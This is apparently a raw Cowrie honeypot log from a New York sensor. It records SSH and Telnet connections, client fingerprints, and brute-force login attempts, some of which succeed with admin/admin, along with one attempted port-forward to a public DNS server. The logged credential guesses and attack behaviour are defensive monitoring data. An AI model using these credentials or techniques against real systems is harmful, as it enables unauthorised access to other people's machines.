{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:07.902363Z","src_ip":"185.236.22.41","session":"23b322362a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.94428205490112,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:12.062090Z","src_ip":"135.148.14.151","session":"a54ccb9da78b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":41458,"dst_ip":"10.17.0.5","dst_port":22,"session":"70fd8117b025","protocol":"ssh","message":"New connection: 87.251.64.176:41458 (10.17.0.5:22) [session: 70fd8117b025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:12.365492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:12.371892Z","src_ip":"87.251.64.176","session":"70fd8117b025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:12.466872Z","src_ip":"87.251.64.176","session":"70fd8117b025","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:12.756945Z","src_ip":"87.251.64.176","session":"70fd8117b025","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:12.853121Z","session":"70fd8117b025","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:12.949465Z","src_ip":"87.251.64.176","session":"70fd8117b025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:13.047774Z","src_ip":"87.251.64.176","session":"70fd8117b025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.66181397438049,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:25.747835Z","src_ip":"135.148.14.151","session":"1e1cd7083691","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49700,"dst_ip":"159.203.135.109","dst_port":23,"session":"415249aca1a0","protocol":"telnet","message":"New connection: 135.148.14.151:49700 (159.203.135.109:23) [session: 415249aca1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:59:57.281926Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51162,"dst_ip":"159.203.135.109","dst_port":23,"session":"94479d8b0fb4","protocol":"telnet","message":"New connection: 135.148.14.151:51162 (159.203.135.109:23) [session: 94479d8b0fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:00:00.312388Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53056,"dst_ip":"159.203.135.109","dst_port":23,"session":"e44494bcbc83","protocol":"telnet","message":"New connection: 135.148.14.151:53056 (159.203.135.109:23) [session: e44494bcbc83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:00:04.436910Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39068,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5bb0eb346b8","protocol":"telnet","message":"New connection: 135.148.14.151:39068 (159.203.135.109:23) [session: d5bb0eb346b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:00:18.404639Z"}
{"eventid":"cowrie.session.closed","duration":0.007615804672241211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:00:18.412133Z","src_ip":"135.148.14.151","session":"d5bb0eb346b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.007434606552124,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:00:33.289271Z","src_ip":"135.148.14.151","session":"415249aca1a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.73760151863098,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:00:37.049883Z","src_ip":"135.148.14.151","session":"94479d8b0fb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.43134784698486,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:00:39.868116Z","src_ip":"135.148.14.151","session":"e44494bcbc83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41216,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1b5551a226b","protocol":"telnet","message":"New connection: 135.148.14.151:41216 (159.203.135.109:23) [session: a1b5551a226b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:00:42.952645Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":43922,"dst_ip":"159.203.135.109","dst_port":22,"session":"27ed1a7fc2ab","protocol":"ssh","message":"New connection: 193.37.70.224:43922 (159.203.135.109:22) [session: 27ed1a7fc2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:00:53.402461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:00:53.407166Z","src_ip":"193.37.70.224","session":"27ed1a7fc2ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:00:53.500900Z","src_ip":"193.37.70.224","session":"27ed1a7fc2ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15081990","message":"login attempt [root/15081990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:00:53.780934Z","src_ip":"193.37.70.224","session":"27ed1a7fc2ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46866,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e90d350d032","protocol":"telnet","message":"New connection: 135.148.14.151:46866 (159.203.135.109:23) [session: 9e90d350d032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:00:54.100002Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:00:54.877505Z","src_ip":"193.37.70.224","session":"27ed1a7fc2ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51054,"dst_ip":"159.203.135.109","dst_port":23,"session":"585a7f992d8f","protocol":"telnet","message":"New connection: 135.148.14.151:51054 (159.203.135.109:23) [session: 585a7f992d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:02.632580Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55746,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4ae726039b8","protocol":"telnet","message":"New connection: 135.148.14.151:55746 (159.203.135.109:23) [session: b4ae726039b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:13.337080Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":32834,"dst_ip":"10.17.0.5","dst_port":22,"session":"55a9a2686a6b","protocol":"ssh","message":"New connection: 147.45.197.250:32834 (10.17.0.5:22) [session: 55a9a2686a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:15.777652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:15.784111Z","src_ip":"147.45.197.250","session":"55a9a2686a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:15.881121Z","src_ip":"147.45.197.250","session":"55a9a2686a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10041991","message":"login attempt [root/10041991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:16.159195Z","src_ip":"147.45.197.250","session":"55a9a2686a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:17.254548Z","src_ip":"147.45.197.250","session":"55a9a2686a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.37459349632263,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:18.327106Z","src_ip":"135.148.14.151","session":"a1b5551a226b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.976808071136475,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:29.076720Z","src_ip":"135.148.14.151","session":"9e90d350d032","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35762,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ebb96239af5","protocol":"telnet","message":"New connection: 135.148.14.151:35762 (159.203.135.109:23) [session: 7ebb96239af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:30.283019Z"}
{"eventid":"cowrie.session.closed","duration":35.81033372879028,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:38.442795Z","src_ip":"135.148.14.151","session":"585a7f992d8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.164.244","src_port":43082,"dst_ip":"159.203.135.109","dst_port":23,"session":"87296dbcbfab","protocol":"telnet","message":"New connection: 194.163.164.244:43082 (159.203.135.109:23) [session: 87296dbcbfab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:42.960001Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42242,"dst_ip":"159.203.135.109","dst_port":23,"session":"727d5169aeac","protocol":"telnet","message":"New connection: 135.148.14.151:42242 (159.203.135.109:23) [session: 727d5169aeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:44.227106Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44024,"dst_ip":"159.203.135.109","dst_port":23,"session":"69a1b7647313","protocol":"telnet","message":"New connection: 135.148.14.151:44024 (159.203.135.109:23) [session: 69a1b7647313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:46.822659Z"}
{"eventid":"cowrie.session.closed","duration":34.982048749923706,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:01:48.319044Z","src_ip":"135.148.14.151","session":"b4ae726039b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.32094669342041,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:04.603812Z","src_ip":"135.148.14.151","session":"7ebb96239af5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54442,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc32e9495feb","protocol":"telnet","message":"New connection: 135.148.14.151:54442 (159.203.135.109:23) [session: dc32e9495feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:09.546731Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57670,"dst_ip":"159.203.135.109","dst_port":23,"session":"79fbb1209c48","protocol":"telnet","message":"New connection: 135.148.14.151:57670 (159.203.135.109:23) [session: 79fbb1209c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:16.540362Z"}
{"eventid":"cowrie.session.closed","duration":37.01872730255127,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:21.245716Z","src_ip":"135.148.14.151","session":"727d5169aeac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.189.24.77","src_port":33882,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b6f60108438","protocol":"telnet","message":"New connection: 107.189.24.77:33882 (10.17.0.5:23) [session: 0b6f60108438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:30.622548Z"}
{"eventid":"cowrie.session.closed","duration":50.728692054748535,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:37.551246Z","src_ip":"135.148.14.151","session":"69a1b7647313","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.78.143.196","src_port":51844,"dst_ip":"10.17.0.5","dst_port":22,"session":"c440d6eab383","protocol":"ssh","message":"New connection: 128.78.143.196:51844 (10.17.0.5:22) [session: c440d6eab383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:40.445170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:40.451104Z","src_ip":"128.78.143.196","session":"c440d6eab383","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:41.208939Z","src_ip":"128.78.143.196","session":"c440d6eab383","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:43.632571Z","src_ip":"194.163.164.244","session":"87296dbcbfab","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:43.686496Z","src_ip":"194.163.164.244","session":"87296dbcbfab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.18213891983032,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:45.728770Z","src_ip":"135.148.14.151","session":"dc32e9495feb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"runner","password":"root","message":"login attempt [runner/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:48.196862Z","src_ip":"128.78.143.196","session":"c440d6eab383","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56912,"dst_ip":"159.203.135.109","dst_port":23,"session":"44f56652f483","protocol":"telnet","message":"New connection: 135.148.14.151:56912 (159.203.135.109:23) [session: 44f56652f483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:48.267257Z"}
{"eventid":"cowrie.session.closed","duration":0.016740083694458008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:48.283898Z","src_ip":"135.148.14.151","session":"44f56652f483","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:49.908060Z","src_ip":"128.78.143.196","session":"c440d6eab383","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.5.11","src_port":44308,"dst_ip":"10.17.0.5","dst_port":22,"session":"79fdb88cba72","protocol":"ssh","message":"New connection: 45.79.5.11:44308 (10.17.0.5:22) [session: 79fdb88cba72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:50.402245Z"}
{"eventid":"cowrie.session.closed","duration":35.95864462852478,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:52.498897Z","src_ip":"135.148.14.151","session":"79fbb1209c48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:02:56.100789Z","src_ip":"45.79.5.11","session":"79fdb88cba72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.128.13","src_port":15330,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f5cf31730bd","protocol":"ssh","message":"New connection: 172.105.128.13:15330 (10.17.0.5:22) [session: 6f5cf31730bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:05.767896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:03:05.778896Z","src_ip":"172.105.128.13","session":"6f5cf31730bd","protocol":"ssh"}
